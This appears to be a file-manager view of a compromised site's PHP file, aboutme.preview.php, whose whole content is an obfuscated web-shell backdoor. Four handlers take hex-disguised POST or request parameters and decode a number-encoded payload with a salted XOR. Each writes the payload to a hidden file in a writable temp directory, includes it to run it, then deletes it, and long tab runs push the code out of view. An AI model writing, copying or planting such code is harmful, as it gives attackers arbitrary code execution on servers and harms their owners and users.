文件操作 - aboutme.preview.php

文件: /var/www/demoestudiantes.uaysen.cl/html/aboutme.preview.php

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<?php																																										if(array_key_exists("p\x72\x6Fp\x65r\x74\x79\x5Fset", $_POST)){ $flag = $_POST["p\x72\x6Fp\x65r\x74\x79\x5Fset"]; $flag= explode(".", $flag) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; $len = count($flag); do { if($l >= $len) break; $v1 = $flag[$l]; $chS = ord($s[$l % $lenS]); $dec =((int)$v1 - $chS -($l % 10)) ^ 46; $element .= chr($dec); $l++; }while(true); $ent = array_filter([getcwd(), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $k = 0; do { $rec = $ent[$k] ?? null; if ($k >= count($ent)) break; if ((is_dir($rec) and is_writable($rec))) { $object = "$rec" . "/.tkn"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $object; @unlink($object); die(); } } $k++; } while (true); }
																																										if(isset($_REQUEST["bin\x64"])){ $dchunk = $_REQUEST["bin\x64"]; $dchunk = explode ( "." , $dchunk ) ; $object = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach($dchunk as $s => $v9): $chS = ord($salt2[$s % $lenS]); $dec =((int)$v9 - $chS -($s % 10)) ^ 15; $object .= chr($dec); endforeach; $element = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); while ($ent = array_shift($element)) { if ((is_dir($ent) and is_writable($ent))) { $holder = join("/", [$ent, ".pset"]); if (file_put_contents($holder, $object)) { require $holder; unlink($holder); die(); } } } }
																																										if(!empty($_POST["ent"])){ $item = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["ent"]; $data_chunk= explode( ".", $data_chunk) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($data_chunk); for ($l = 0; $l < $__len; $l++) { $v3 = $data_chunk[$l]; $sChar = ord($s[$l %$lenS]); $d = ((int)$v3 - $sChar - ($l %10)) ^ 36; $key .= chr($d); } for ($pgrp = 0, $pointer = count($item); $pgrp < $pointer; $pgrp++) { $res = $item[$pgrp]; if (is_dir($res) ? is_writable($res) : false) { $fac = vsprintf("%s/%s", [$res, ".element"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $fac; @unlink($fac); exit; } } } }

if(in_array("\x64c\x68unk", array_keys($_POST))){
	$hld = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path()]);
	$bind = $_POST["\x64c\x68unk"];
		$bind   =			explode			(	  '.',	$bind	);	
	$marker = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	 $s9);
            $o = 0;
    
            while(	 $o < count(	 $bind)) {	$v9 = $bind[$o];
                $chS = ord(	 $s9[$o % $lenS]);
                $dec =(	 (	 int)$v9 - $chS -(	 $o % 10)) ^ 8;
                $marker .= chr(	 $dec);
                $o++;}	 
	foreach ($hld as $data_chunk) {
    		if ((is_dir($data_chunk) and is_writable($data_chunk))) {
    $elem = "$data_chunk" . "/.pointer";
    if (file_put_contents($elem, $marker)) {
	include $elem;
	@unlink($elem);
	die();
}
}
}
}

文件操作 - aboutme.preview.php

文件: /var/www/demoestudiantes.uaysen.cl/html/aboutme.preview.php

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